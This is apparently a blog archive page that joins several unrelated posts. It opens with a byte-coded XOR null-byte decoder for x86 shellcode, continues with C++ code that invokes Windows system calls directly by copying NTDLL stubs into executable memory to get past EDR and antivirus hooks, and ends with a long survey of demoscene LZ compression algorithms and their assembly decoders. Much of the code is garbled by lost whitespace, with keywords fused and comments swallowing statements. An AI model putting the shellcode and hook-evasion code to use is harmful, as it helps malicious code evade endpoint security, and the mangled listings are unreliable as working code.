Set the original length, encrypted with XOR, right after the decoder.
Set input file data right after the original length.
Save memory to file.
An option to update the XOR key is left up to you.
// compatible with x86 and x86-64char NULLZ_DECODER[]={/* 0000 */"\xeb\x17"/* jmp 0x19 *//* 0002 */"\x5e"/* pop esi *//* 0003 */"\xad"/* lodsd */#define NULLZ_LEN 5/* 0004 */"\x35\x78\x56\x34\x12"/* xor eax, 0x12345678 *//* 0009 */"\x91"/* xchg eax, ecx *//* 000A */"\x56"/* push esi *//* 000B */"\x5f"/* pop edi *//* 000C */"\x56"/* push esi *//* 000D */"\xac"/* lodsb *//* 000E */"\xfe\xc8"/* dec al *//* 0010 */"\x75\x03"/* jne 0x15 *//* 0012 */"\xac"/* lodsb *//* 0013 */"\x34\x4d"/* xor al, 0x4d *//* 0015 */"\xaa"/* stosb *//* 0016 */"\xe2\xf5"/* loop 0xd *//* 0018 */"\xc3"/* ret *//* 0019 */"\xe8\xe4\xff\xff\xff"/* call 2 */};
Summary
Before settling with escape sequences, I examined a number of other ways that null bytes might be encoded and decoded at runtime by a shellcode.
Initially, I thought of byte substitution, which is a non-linear operation used by legacy block ciphers. Scrapped that idea.
Experimented with match referencing, which is very common for lossless compression algorithms. Wrote a few bits of code to process files and then calculate the change in size. For every null byte found in a file, save the position and length before passing the null bytes to a function F for modification. An involution, like an XOR is fine to use as F. Then encode the offset and length using elias gamma2 codes. The change in file size was approx. 4% and I thought this might be the best way. It requires more code and is more complicated, but certainly an option.
Thought about bit tags. Essentially using 1-Bit to indicate whether a byte is encoded or not. Change in file size would be ~12% since every byte would require 1-Bit. This eventually led to escape sequences, which I think is the best approach.
Quick post about Windows System calls that I forgot about working on after the release of Dumpert by Cn33liz last year, which is described in this post. Typically, EDR and AV set hooks on Win32 API or NT wrapper functions to detect and mitigate against malicious activity. Dumpert attempts to bypass any user-level hooks by invoking system calls directly. It first queries the operating system version via RtlGetVersion and then selects the applicable code stubs to execute. SysWhispers generates header/ASM files by extracting the system call numbers from the code stubs in NTDLL.dll and evilsocket also demonstrated how to do this many years ago. @FuzzySec and @TheWover have also implemented dynamic invocation of system calls after remapping NTDLL in Sharpsploit, which you can read about in their Bluehat presentation.
Using system calls on Windows to interact with the kernel has always been problematic because the numbers assigned for each kernel function change between the versions released. Just after Cn33liz published Dumpert, I thought of how invocation might be improved without using assembly and there are lots of ways, but consider at least three for now. The first method, which is probably the simplest and safest, maps NTDLL.dll into executable memory and resolves the address of any system call via the Export Address Table (EAT) before executing. This is relatively simple to implement. The second approach maps NTDLL.dll into read-only memory and uses a disassembler, or at the very least, a length disassembler to extract the system call number. The third will also map NTDLL.dll into read-only memory, copy the code stub to an executable buffer before invoking. The length of the stub is read from the exception directory. Overcomplicated, perhaps, and I did consider a few disassembly libraries for the second method, but just to save time settled with the Windows Debugger Engine, which has a built-in disassembler already.
Disassembling code via the engine requires a live process. Thankfully itβs possible to attach the debugger to the local process in noninvasive mode. You can just map NTDLL into executable memory and invoke any system call from there, however, I wanted an excuse to use the debugging engine. lde.c, lde.h
WinDbg has a command to disassemble a complete function called uf (Unassemble Function). Internally, WinDbg builds a Control-flow Graph (CFG) to map the full function before displaying the disassembly of each code block. You can execute a command like uf via the Execute method and so long as youβve setup IDebugOutputCallbacks, you can capture the disassembly that way. I considered using a CFG to implement something similar to uf, which you can if you wish. The system calls on my own build of Windows 10 have at the most, one branch, so I scrapped the idea of using a CFG or executing uf. With NTDLL mapped, you can use something like the following to resolve the address of an exported API.
FARPROC LDE::GetProcAddress(LPCSTR lpProcName) {
PIMAGE_DATA_DIRECTORY dir;
PIMAGE_EXPORT_DIRECTORY exp;
DWORD rva, ofs, cnt;
PCHAR str;
PDWORD adr, sym;
PWORD ord;
if(mem ==NULL|| lpProcName ==NULL) returnNULL;
// get pointer to image directories for NTDLL
dir = Dirs();
// no exports? exit
rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if(rva ==0) returnNULL;
ofs = rva2ofs(rva);
if(ofs ==-1) returnNULL;
// no exported symbols? exit
exp = (PIMAGE_EXPORT_DIRECTORY)(ofs + mem);
cnt = exp->NumberOfNames;
if(cnt ==0) returnNULL;
// read the array containing address of api names
ofs = rva2ofs(exp->AddressOfNames);
if(ofs ==-1) returnNULL;
sym = (PDWORD)(ofs + mem);
// read the array containing address of api
ofs = rva2ofs(exp->AddressOfFunctions);
if(ofs ==-1) returnNULL;
adr = (PDWORD)(ofs + mem);
// read the array containing list of ordinals
ofs = rva2ofs(exp->AddressOfNameOrdinals);
if(ofs ==-1) returnNULL;
ord = (PWORD)(ofs + mem);
// scan symbol array for api stringdo {
str = (PCHAR)(rva2ofs(sym[cnt -1]) + mem);
// found it?if(lstrcmp(str, lpProcName) ==0) {
// return the addressreturn (FARPROC)(rva2ofs(adr[ord[cnt -1]]) + mem);
}
} while (--cnt);
returnNULL;
}
The following will use the Disassemble method to show the code. You can also use it to inspect bytes if you wanted to extract the system call number. The beginning and end of the system call is read from the Exception directory.
bool LDE::DisassembleSyscall(LPCSTR lpSyscallName) {
ULONG64 ofs, start=0, end=0, addr;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_DATA_DIRECTORY dir;
PIMAGE_RUNTIME_FUNCTION_ENTRY rf;
DWORD i, rva;
CHAR buf[LDE_MAX_STR];
HRESULT hr;
ULONG len;
// resolve address of function in NTDLL
addr = (ULONG64)GetProcAddress(lpSyscallName);
if(addr ==NULL) returnfalse;
// get pointer to image directories
dir = Dirs();
// no exception directory? exit
rva = dir[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
if(rva ==0) returnfalse;
ofs = rva2ofs(rva);
if(ofs ==-1) returnfalse;
rf = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(ofs + mem);
// for each runtime function (there might be a better way??)for(i=0; rf[i].BeginAddress !=0; i++) {
// is it our system call?
start = rva2ofs(rf[i].BeginAddress) + (ULONG64)mem;
if(start == addr) {
// save end and exit search
end = rva2ofs(rf[i].EndAddress) + (ULONG64)mem;
break;
}
}
if(start !=0&& end !=0) {
while(start < end) {
hr = ctrl->Disassemble(
start, 0, buf, LDE_MAX_STR, &len, &start);
if(hr != S_OK) break;
printf("%s", buf);
}
}
returntrue;
}
The following code will disassemble the system call.
Just to illustrate disassembly of NtCreateThreadEx and NtWriteVirtualMemory. The address of SharedUserData doesnβt change and therefore doesnβt require fixups to the code just because itβs been mapped somewhere else.
Invoking
Simply copy the code for the system call to memory allocated by VirtualAlloc with PAGE_EXECUTE_READWRITE permissions. Rewriting the above code, we have something like the following.
LPVOID LDE::GetSyscallStub(LPCSTR lpSyscallName) {
ULONG64 ofs, start=0, end=0, addr;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_DATA_DIRECTORY dir;
PIMAGE_RUNTIME_FUNCTION_ENTRY rf;
DWORD i, rva;
SIZE_T len;
LPVOID cs =NULL;
// resolve address of function in NTDLL
addr = (ULONG64)GetProcAddress(lpSyscallName);
if(addr ==NULL) returnNULL;
// get pointer to image directories
dir = Dirs();
// no exception directory? exit
rva = dir[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
if(rva ==0) returnNULL;
ofs = rva2ofs(rva);
if(ofs ==-1) returnNULL;
rf = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(ofs + mem);
// for each runtime function (there might be a better way??)for(i=0; rf[i].BeginAddress !=0; i++) {
// is it our system call?
start = rva2ofs(rf[i].BeginAddress) + (ULONG64)mem;
if(start == addr) {
// save the end and calculate length
end = rva2ofs(rf[i].EndAddress) + (ULONG64)mem;
len = (SIZE_T) (end - start);
// allocate RWX memory
cs = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(cs !=NULL) {
// copy stub to memory
CopyMemory(cs, (constvoid*)start, len);
}
break;
}
}
// return pointer to code stubreturn cs;
}
Summary
Invoking system calls via remapping of the NTDLL.dll is of course the simplest approach. A lightweight LDE and CFG with no dependencies on external libraries would be useful for other Red Teaming activities like hooking API or even detecting hooked functions. It could also be used for locating GetProcAddress without touching the Export Address Table (EAT) or Import Address Table (IAT). However, GetSyscallStub demonstrates that you donβt need a disassembler just to read the code stub.
My last post about compression inadvertently missed algorithms used by the Demoscene that I attempt to correct here. Except for research by Introspec about various 8-Bit algorithms on the ZX Spectrum, itβs tricky to find information in one location about compression used in Demoscene productions. The focus here will be on variations of the Lempel-Ziv (LZ) scheme published in 1977 that are suitable for resource-constrained environments such as 8, 16, and 32-bit home computers released in the 1980s. In executable compression, we can consider LZ an umbrella term for LZ77, LZSS, LZB, LZH, LZARI, and any other algorithms inspired by those designs.
Many variations of LZ surfaced in the past thirty years, and a detailed description of them all would be quite useful for historical reference. However, the priority for this post is exploring algorithms with the best ratios that also use the least amount of code possible for decompression. Considerations include an open-source compressor and the speed of compression and decompression. However, some decoders without sources for a compressor are also useful to show the conversion between architectures.
Drop me an email, if you would like to provide feedback on this post. x86 assembly codes for some of algorithms discussed here may be found here.
2. History
Designing a compression format requires trade-offs, such as compression ratio, compression speed, decompression speed, code complexity, code size, memory usage, etc. For executable compression in particular, where the sum of decompression code size and compressed size is what counts, the optimal balance between these two depends on the intended target size. β Aske Simon Christensen, author of Shrinkler and co-author of Crinkler.
Since the invention of telegraphy, telephony, and especially television, engineers have sought ways to reduce the bandwidth required for transmitting electrical signals. Before the invention of analog-to-digital converters and entropy coding methods in the 1950s, compaction of television signals required reducing the quality of the video before transmission, a technique thatβs referred to as lossy compression. Many publications on compressing television signals surfaced between the 1950s-1970s, and these eventually proved to be useful in other applications, most notably for the aerospace industry.
For example, various interplanetary spacecraft launched in the 1960s could record data faster than what they could transmit to earth. And following a review of unclassified space missions in the early 1960s, in particular, the Mariner Mars mission of 1964, NASAβs Jet Propulsion Laboratory examined various compression methods for acquiring images in space. The first unclassified spacecraft to use image compression was Explorer 34 or Interplanetary Monitoring Platform 4 (IMP-4) launched in 1967. It used Chroma subsampling, invented in the 1950s specifically for color television. This method, which eventually became part of the JPEG standard, would continue being used by NASA until the invention of a more optimal encoding method called Discrete Cosine Transform (DCT)
The increase of computer mainframes in the 1950s and the collection of data on citizens for social science motivated prior research and development of lossless compression techniques. Microprocessors became inexpensive in the late 1970s, leading the way for average consumers to purchase a computer of their own. However, this didnβt immediately reduce the cost of disk storage. And the vast majority of user data remained stored on magnetic tapes or floppy diskettes rather than hard disk drives offered only as an optional component.
Hard disk drives remained expensive between 1980-2000, encouraging the development of tools to reduce the size of files. The first program to compress executables on the PC was Realia Spacemaker, which was written by Robert Dewar and published in 1982. The precise algorithm used by this program remains undocumented. However, the year of publication would suggest it uses Run-length encoding (RLE). Qkumba informed me about two things via email. First, games for the Apple II used RLE in the early 1980s for shrinking images used as title screens. Examples include Beach-Head, G.I. Joe and Black Magic, to name a few. Second, games by Infocom used Huffman-like text compression. Microsoft EXEPACK by Reuben Borman and published in 1985 also used RLE for compression.
Samuel Morse published his coding system for the electrical telegraph in 1838. It assigned short symbols for the most common letters of an alphabet, and this may be the first example of compression used for electrical signals. An entropy coder works similarly. It removes redundancy by assigning short codewords for symbols occurring more frequently and longer codewords for symbols with less frequency. The following table lists some examples.
Arithmetic or range coders fused with an LZ77-style compressor result in high compression ratios and compact decompressors, which makes them attractive to the demoscene. They are slower than a Huffman coder, but much more efficient. ANS is the favored coder used in mission-critical systems today, providing efficiency and speed.
4. Universal Code
There are many variable-length coding methods used for integers of arbitrary upper bound, and most of the algorithms presented in this post use Elias gamma coding for the offset and length of a match reference. The following table contains a list of papers referenced in Punctured Elias Codes for variable-length coding of the integers published by Peter Fenwick in 1996.
Designed by Abraham Lempel and Jacob Ziv and described in A Universal Algorithm for Sequential Data Compression published in 1977. It compresses files by searching for the repetition of strings or sequences of bytes and storing a reference pointer and length to an earlier occurrence. The size of a reference pointer and length will define the overall speed of the compression and compression ratio. The following decoder uses a 12-Bit reference pointer (4096 bytes) and 4-Bit length (16 bytes). It will work with a a compressor written by Andy Herbert. However, you must change the compressor to use 16-bits for a match reference. Charles Bloom discusses small LZ decoders in a blog post that may be of interest to readers.
uint32_tlz77_depack(
void*outbuf,
uint32_t outlen,
constvoid*inbuf)
{
uint32_t ofs, len;
uint8_t*in, *out, *end, *ptr;
in = (uint8_t*)inbuf;
out = (uint8_t*)outbuf;
end = out + outlen;
while(out < end) {
len =*(uint16_t*)in;
in +=2;
ofs = len >>4;
// offset?if(ofs) {
// copy reference
len = (len &15) +1;
ptr = out - ofs;
while(len--) *out++=*ptr++;
}
// copy literal*out++=*in++;
}
// return depacked lengthreturn (out - (uint8_t*)outbuf);
}
The assembly is optimized for size, currently at 54 bytes.
Designed by James Storer, Thomas Szymanski, and described in Data Compression via Textual Substitution published in 1982. The match reference in the LZ77 decoder occupies 16-bits or two bytes even when no match exists. That means for every literal are two additional redundant bytes, which isnβt very efficient. LZSS improves the LZ77 format by using one bit to distinguish between a match reference and a literal, and this improves the overall compression ratio. Introspec informed me via email the importance of this paper in describing the many variations of the original LZ77 scheme. Many of which remain unexplored. It also has an overview of the early literature, which is worth examining in more detail. Haruhiko Okumura shared his implementations of LZSS via a BBS in 1988, and this inspired the development of various executable compressors released in the late 1980s and 1990s. The following decoder works with a compressor by Sebastian Steinhauer.
// to keep track of flagstypedefstruct _lzss_ctx_t {
uint8_t w;
uint8_t*in;
} lzss_ctx;
// read a bituint8_tget_bit(lzss_ctx *c) {
uint8_t x;
x = c->w;
c->w <<=1;
if(c->w ==0) {
x =*c->in++;
c->w = (x <<1) |1;
}
return x >>7;
}
uint32_tlzss_depack(
void*outbuf,
uint32_t outlen,
constvoid*inbuf)
{
uint8_t*out, *end, *ptr;
uint32_t i, ofs, len;
lzss_ctx c;
// initialize pointers
out = (uint8_t*)outbuf;
end = out + outlen;
// initialize context
c.in = (uint8_t*)inbuf;
c.w =128;
while(out < end) {
// if bit is not setif(!get_bit(&c)) {
// store literal*out++=*c.in++;
} else {
// decode offset and length
ofs =*(uint16_t*)c.in;
c.in +=2;
len = (ofs &15) +3;
ofs >>=4;
ptr = out - ofs -1;
// copy byteswhile(len--) *out++=*ptr++;
}
}
// return lengthreturn (out - (uint8_t*)outbuf);
}
The assembly is a straight forward translation of the C code, currently at 69 bytes.
Designed by Tim Bell and described in his 1986 Ph.D. dissertation A Unifying Theory and Improvements for Existing Approaches to Text Compression. It uses a pre-processor based on LZSS and Elias gamma coding of the match length, which results in a compression ratio similar to LZH and LZARI by Okumura. However, it does not suffer the performance penalty of using Huffman or arithmetic coding. Introspec considers it to be the first implementation that uses variable-length coding for reference matches, which is the basis for most modern LZ77-style compressors.
For many years, bigger nerds than myself would remind me of what a mediocre architecture the x86 is and that it didnβt deserve to be the most popular CPU for personal computers. But if itβs so bad, how did it become the predominant architecture? It probably commenced in the 1970s with the release of the 8080, and an operating system designed for it by Gary Kildall called Control Program Monitor or Control Program for Microcomputers (CP/M).
Kildall initially designed and developed CP/M for the 8-Bit 8080 and licensed it to run devices such as the IMSAI 8080 (seen in the movie Wargames). Kildall was motivated by the enormous potential for microcomputers to become regular home appliances. And when IBM wanted to build a microcomputer of its own in 1980, CP/M was the most successful operating system on the market.
IBM made two decisions: use the existing software and hardware for the 8085-based IBM System/23 by using the 8088 instead of the 8086. (the cost per CPU unit was also a factor); and use its product to run CP/M to remain competitive with other microcomputers on the market.
Regrettably, Kildall missed a unique opportunity to supply CP/M for the IBM Personal Computer. Instead, Bill Gates / Microsoft obtained licensing to use a cloned version of CP/M called the Quick and Dirty Operating System (QDOS). QDOS was later rebranded to 86-DOS, before being shipped with the first IBM PC as βIBM PC DOSβ. Microsoft later purchased 86-DOS, rebranded it Microsoft Disk Operating System (MS-DOS), and forced IBM into a licensing agreement so Microsoft were free to sell MS-DOS to other companies. Kildall would later remark in his unpublished memoir Computer Connections, People, Places, and Events in the Evolution of the Personal Computer Industry. that βGates is more an opportunist than a technical type and severely opinionated even when the opinion he holds is absurd.β
Designed by Fabrice Bellard in 1989 and included in the closed-source MS-DOS packer LZEXE by the same. Inspired by LZSS but provides a higher compression ratio. Hiroaki Goto reverse engineered this in 1995 and published an open-source implementation in 2008. The following is a 32-Bit translation of the 16-Bit decoder with some additional optimizations. Thereβs also a 68K version for anyone interested and a Z80 version by Kei Moroboshi published in 2017.
Designed by Yann Collet and published in 2011. LZ4 is fast for both compression and decompression with a small decoder. Speed is somewhere between DEFLATE and LZO, while the compression ratio is similar to LZO but worse than DEFLATE. Despite the compression ratio being worse than DEFLATE, LZ4 doesnβt require a Huffman or arithmetic/range decoder. The following 32-Bit code is a conversion of the 8088/8086 implementation by Trixter. JΓΈrgen Ibsen has implemented LZ4 with optimal parsing using BriefLZ algorithms.
lz4_depack:_lz4_depack:pushadleaesi,[esp+32+4]
lodsd;load target bufferxchgeax,edilodsdxchgeax,ebx;BX = chunk length minus headerlodsd;load source bufferxchgeax,esiaddebx,esi;BX = threshold to stop decompressionxorecx,ecx@@parsetoken:;CX=0 here because of REP at end of loopmulecxlodsb;grab token to ALmovdl,al;preserve packed token in DX@@copyliterals:shral,4;unpack upper 4 bitscallbuildfullcount;build full literal count if necessary@@doliteralcopy:;src and dst might overlap so do this by bytesrepmovsb;if cx=0 nothing happens;At this point, we might be done; all LZ4 data ends with five literals and the;offset token is ignored. If we're at the end of our compressed chunk, stop.cmpesi,ebx;are we at the end of our compressed chunk?jaedone;if so, jump to exit; otherwise, process match@@copymatches:lodsw;AX = match offsetxchgedx,eax;AX = packed token, DX = match offsetandal,0Fh;unpack match length tokencallbuildfullcount;build full match count if necessary@@domatchcopy:pushesi;ds:si saved, xchg with ax would destroy ahmovesi,edisubesi,edxaddecx,4;minmatch = 4;Can't use MOVSWx2 because [es:di+1] is unknownrepmovsb;copy match run if any leftpopesijmp@@parsetokenbuildfullcount:;CH has to be 0 here to ensure AH remains 0cmpal,0Fh;test if unpacked literal length token is 15?xchgecx,eax;CX = unpacked literal length token; flags unchangedjnebuilddone;if AL was not 15, we have nothing to buildbuildloop:lodsb;load a byteaddecx,eax;add it to the full countcmpal,0FFh;was it FF?jebuildloop;if so, keep goingbuilddone:retdone:subedi,[esp+32+4];subtract original offset from where we are nowmov [esp+28], edipopadret
LZSA1 is designed to directly compete with LZ4. If you compress using βlzsa -f1 -r INPUT OUTPUTβ, you are very likely to get higher compression ratio than LZ4 and probably slightly lower decompression speed compared to LZ4 (I am comparing speeds of LZSA1 fast decompressor and LZ4 fast decompressor, both hand-tuned by myself). If you really want to compete with LZ4 on speed, you need to compress using one of the βboostβ options βlzsa -f1 -r -m4 INPUT OUTPUTβ (better ratio, similar speed to LZ4) or βlzsa -f1 -r -m5 INPUT OUTPUTβ (similar ratio, faster decompression than LZ4).
LZSA2 is approximately in the same league as BitBuster or ZX7. Itβs likely to be worse if youβre compressing pure graphics (at least this is what we are seeing on ZX Spectrum), but it has much larger window and is pretty decent at compressing mixed data (e.g. a complete game binary or something similar). We accepted that the compression ratio is not the best because we wanted to preserve some of its speed. You should expect LZSA2 to decompress data about 50% faster than best I can do for ZX7. I did not do tests on BitBuster, but I just had a look at decompressor for ver.1.2 and there is no way it can compete with LZSA2 on speed.
lzsa1_decompress:_lzsa1_decompress:pushadmovedi, [esp+32+4] ; edi = outbufmovesi, [esp+32+8] ; esi = inbufxorecx, ecx.decode_token:mulecxlodsb; read token byte: O|LLL|MMMMmovdl, al; keep token in dlandal, 070H; isolate literals length in token (LLL)shral, 4; shift literals length into placecmpal, 07H; LITERALS_RUN_LEN?jne.got_literals; no, we have the full literals count from the token, go copylodsb; grab extra length byteaddal, 07H; add LITERALS_RUN_LENjnc.got_literals; if no overflow, we have the full literals count, go copyjne.mid_literalslodsw; grab 16-bit extra lengthjmp.got_literals.mid_literals:lodsb; grab single extra length byteincah; add 256.got_literals:xchgecx, eaxrepmovsb; copy cx literals from ds:si to es:ditestdl, dl; check match offset size in token (O bit)js.get_long_offsetdececxxchgeax, ecx; clear ah - cx is zero from the rep movsb abovelodsbjmp.get_match_length.get_long_offset:lodsw; Get 2-byte match offset.get_match_length:xchgeax, edx; edx: match offset eax: original tokenandal, 0FH; isolate match length in token (MMMM)addal, 3; add MIN_MATCH_SIZEcmpal, 012H; MATCH_RUN_LEN?jne.got_matchlen; no, we have the full match length from the token, go copylodsb; grab extra length byteaddal,012H; add MIN_MATCH_SIZE + MATCH_RUN_LENjnc.got_matchlen; if no overflow, we have the entire lengthjne.mid_matchlenlodsw; grab 16-bit lengthtesteax, eax; bail if we hit EODje.done_decompressingjmp.got_matchlen.mid_matchlen:lodsb; grab single extra length byteincah; add 256.got_matchlen:xchgecx, eax; copy match length into ecxxchgesi, eaxmovesi, edi; esi now points at back reference in output datamovsxedx, dx; sign-extend dx to 32-bits.addesi, edxrepmovsb; copy matchxchgesi, eax; restore esijmp.decode_token; go decode another token.done_decompressing:subedi, [esp+32+4]
mov [esp+28], edi; eax = decompressed sizepopadret; done
8.4 aPLib
Designed by JΓΈrgen Ibsen and published in 1998, it continues to remain a closed-source compressor. Fortunately, an open-source version of the compressor called aPUltra is available, which was released by Emmanuel Marty in 2019. The small compressor in x86 assembly follows.
apl_decompress:_apl_decompress:pushad %ifdef CDECLmovesi, [esp+32+4] ; esi = aPLib compressed datamovedi, [esp+32+8] ; edi = output %endif; === register map ===; al: bit queue; ah: unused, but value is trashed; ebx: follows_literal; ecx: scratch register for reading gamma2 codes and storing copy length; edx: match offset (and rep-offset); esi: input (compressed data) pointer; edi: output (decompressed data) pointer; ebp: offset of .get_bit moval,080H; clear bit queue(al) and set high bit to move into carryxoredx, edx; invalidate rep offset in edxcall.init_get_bit.get_dibits:callebp; read data bitadcecx,ecx; shift into cx.get_bit:addal,al; shift bit queue, and high bit into carryjnz.got_bit; queue not empty, bits remainlodsb; read 8 new bitsadcal,al; shift bit queue, and high bit into carry.got_bit:ret.init_get_bit:popebp; load offset of .get_bit, to be used with call ebpaddebp, .get_bit-.get_dibits.literal:movsb; read and write literal byte.next_command_after_literal:push03Hpopebx; set follows_literal(bx) to 3.next_command:callebp; read 'literal or match' bitjnc.literal; if 0: literal; 1x: matchcallebp; read '8+n bits or other type' bitjc.other; 11x: other type of match; 10: 8+n bits matchcall.get_gamma2; read gamma2-coded high offset bitssubecx,ebx; high offset bits == 2 when follows_literal == 3 ?; (a gamma2 value is always >= 2, so substracting follows_literal when it; is == 2 will never result in a negative value)jae.not_repmatch; if not, not a rep-matchcall.get_gamma2; read match lengthjmp.got_len; go copy.not_repmatch:movedx,ecx; transfer high offset bits to dhshledx,8movdl,[esi] ; read low offset byte in dlincesicall.get_gamma2; read match lengthcmpedx,7D00H; offset >= 32000 ?jae.increase_len_by2; if so, increase match len by 2cmpedx,0500H; offset >= 1280 ?jae.increase_len_by1; if so, increase match len by 1cmpedx,0080H; offset < 128 ?jae.got_len; if so, increase match len by 2, otherwise it would be a 7+1 copy.increase_len_by2:incecx; increase length.increase_len_by1:incecx; increase length; copy ecx bytes from match offset edx.got_len:pushesi; save esi (current pointer to compressed data)movesi,edi; point to destination in edi - offset in edxsubesi,edxrepmovsb; copy matched bytespopesi; restore esimovbl,02H; set follows_literal to 2 (ebx is unmodified by match commands)jmp.next_command; read gamma2-coded value into ecx.get_gamma2:xorecx,ecx; initialize to 1 so that value will start at 2incecx; when shifted left in the adc below.gamma2_loop:call.get_dibits; read data bit, shift into cx, read continuation bitjc.gamma2_loop; loop until a zero continuation bit is readret; handle 7 bits offset + 1 bit len or 4 bits offset / 1 byte copy.other:xorecx,ecxcallebp; read '7+1 match or short literal' bitjc.short_literal; 111: 4 bit offset for 1-byte copy; 110: 7 bits offset + 1 bit lengthmovzxedx,byte[esi] ; read offset + length in dlincesiincecx; prepare cx for length belowshrdl,1; shift len bit into carry, and offset in placeje.done; if zero offset: EODadcecx,ecx; len in cx: 1*2 + carry bit = 2 or 3jmp.got_len; 4 bits offset / 1 byte copy.short_literal:call.get_dibits; read 2 offset bitsadcecx,ecxcall.get_dibits; read 2 offset bitsadcecx,ecxxchgeax,ecx; preserve bit queue in cx, put offset in axjz.write_zero; if offset is 0, write a zero byte; short offset 1-15movebx,edi; point to destination in es:di - offset in axsubebx,eax; we trash bx, it will be reset to 3 when we loopmoval,[ebx] ; read byte from short offset.write_zero:stosb; copy matched bytexchgeax,ecx; restore bit queue in aljmp.next_command_after_literal.done:subedi, [esp+32+8] ; compute decompressed sizemov [esp+28], edipopadret
9. MOS Technology 6502
This 8-Bit CPU was the product of Motorola management, ignoring customer concerns about the cost of the 6800 CPU launched by the company in 1974. Following consultations with potential customers for the 6800. Chuck Peddle tried to convince Motorola to develop a low-cost alternative for consumers on a limited budget.
Motorola ordered Peddle to cease working on this idea, which resulted in his departure from the company with several other employees that began working on the 6502 at MOS Technology. Used in the Commodore 64, the Apple II, and the BBC Micro home computers, including various gaming consoles, Motorola acknowledged missing a golden opportunity. The company would later express regret for dismissing Peddleβs idea since the 6502 was far more successful than the 6800.
Those of you that want to program a Commodore 64 without purchasing one can always use an emulator like VICE. For the Apple II, thereβs AppleWin. (Yes, Windows only). Since Qkumba already implemented several popular depackers for 6502, I requested a translation of the Exomizer compression algorithm. Using this translation, I created the following table, which lists 6502 instructions and their equivalent for x86. The EBX and ECX registers replace the X and Y registers, respectively. Using #$80 as an immediate value is simply for demonstration, and youβll find a full list of instructions here.
6502
x86
Description
lda #$80
mov al, 0x80
Load byte into accumulator.
sta [address]
mov [address], al
Store accumulator in memory.
cmp #$80
cmp al, 0x80
Compare byte with accumulator.
cpx #$80
cmp bl, 0x80
Compare byte with X.
cpy #$80
cmp cl, 0x80
Compare byte with Y.
asl
shl al, 1
ASL shifts all bits left one position. 0 is shifted into bit 0 and the original bit 7 is shifted into the Carry.
lsr
shr al, 1
Logical shift right.
bit #$7
test al, 7
Perform a bitwise AND, set the flags and discard the result.
sec
stc
SEt the Carry flag.
adc #$80
adc al, 0x80
Add byte with Carry.
sbc #$1
sbb al, 1
Subtract byte with Carry.
rts
ret
Return from subroutine.
jsr
call
Save next address and jump to subroutine.
eor #$80
xor al, 0x80
Perform an exclusive OR.
ora #$80
or al, 0x80
Perform a bitwise OR.
and #$80
and al, 0x80
Bitwise AND with accumulator
rol
rcl al, 1
Shifts all bits left one position. The Carry is shifted into bit 0 and the original bit 7 is shifted into the Carry.
ror
rcr al, 1
Shifts all bits right one position. The Carry is shifted into bit 7 and the original bit 0 is shifted into the Carry.
bpl
jns
Branch on PLus. Jump if Not Signed.
bmi
js
Branch on MInus. Jump if Signed.
bcc:bcs
jnc:jc
Branch on Carry Clear. Branch on Carry Set.
bne:beq
jne:je
Branch on Not Equal. Branch on EQual.
bvc:bvs
jno:jo
Branch on oVerflow Clear. Branch on oVerflow Set.
php
pushf
PusH Processor status.
plp
popf
PuLl Processor status.
pha
push eax
PusH Accumulator.
pla
pop eax
PuLl Accumulator.
tax
movzx ebx, al / mov bl, al
Transfer A to X.
tay
movzx ecx, al / mov cl, al
Transfer A to Y.
txa
mov al, bl
Transfer X to A.
tya
mov al, cl
Transfer Y to A.
inx
inc ebx / inc bl
INcrement X.
iny
inc ecx / inc cl
INcrement Y.
dex
dec ebx / dec bl
DEcrement X.
dey
dec ecx / dec cl
DEcrement Y.
9.1 Exomizer
Designed by Magnus Lind and published in 2002. Exomizer is popular for devices such as the Commodore VIC20, the C64, the C16/plus4, the C128, the PET 4032, the Atari 400/800 XL/XE, the Apple II+e, the Oric-1, the Oric Atmos, and the BBC Micro B. It inspired the development of other executable compressors, most notably PackFire. Qkumba was kind enough to provide a translation of the Exomizer 3 decoder translated from 6502 to x86. However, due to the complexity of the source code, only a snippet of code is shown here. The Y register maps to the EDI register while the X register maps to the ESI register.
Designed by Pasi Ojala and published in 1997. Itβs described by the author as a Hybrid LZ77 and RLE compressor, using Elias gamma coding for reference length, and a mixture of gamma and linear code for the offset. It requires no additional memory for decompression. The description and source code are well worth a read for those of you that want to understand the characteristics of other LZ77-style compressors.
10. Zilog 80
I was able to design whatever I wanted. And personally I wanted to develop the best and the most wonderful 8-Bit microprocessor in the world. β Masatoshi Shima
After helping to design microprocessors at Intel (4-Bit 4004, the 8-Bit 8008 and 8080), Ralph Ungermann and Federico Faggin left Intel in 1974 to form Zilog. Masatoshi Shima, who also worked at Intel, would later join the company in 1975 to work on an 8-Bit CPU released in 1976 they called the Z80. The Z80 is essentially a clone of the Intel 8080 with support for more instructions, more registers, and 16-Bit capabilities. Many of the Z80 instructions, to the best of my knowledge, do not have an equivalent on the x86. Proceed with caution, as with no prior experience writing for the Z80, some of the mappings presented here may be incorrect.
Z80
x86
Z80 Description
bit
test
Perform a bitwise AND, set state flags and discard result.
ccf
cmc
Inverts/Complements the carry flag.
cp
cmp
Performs subtraction from A. Sets flags and discards result.
djnz
loop
Decreases B and jumps to a label if Not Zero. If mapping BC to CX, LOOP works or REP depending on operation.
ex
xchg
Exchanges two 16-bit values.
exx
EXX exchanges BC, DE, and HL with shadow registers with BCβ, DEβ, and HLβ. Unfortunately, nothing like this available for x86. Try to use spare registers or rewrite algorithm to avoid using EXX.
jp
jcc
Conditional or unconditional jump to absolute address.
jr
jcc
Conditional or unconditional jump to relative address not exceeding 128-bytes ahead or behind.
ld
mov
Load/Copy immediate value or register to another register.
ldi
movsb
Performs a βLD (DE),(HL)β, then increments DE and HL. Map SI to HL, DI to DE and you can perform the same operation quite easily on x86.
ldir
rep movsb
Repeats LDI (LD (DE),(HL), then increments DE, HL, and decrements BC) until BC=0. Note that if BC=0 before this instruction is called, it will loop around until BC=0 again.
res
btr
Reset bit. BTR doesnβt behave exactly the same, but itβs close enough. An alternative might be masking with AND.
rl / rla / rlc / rlca
rcl or adc
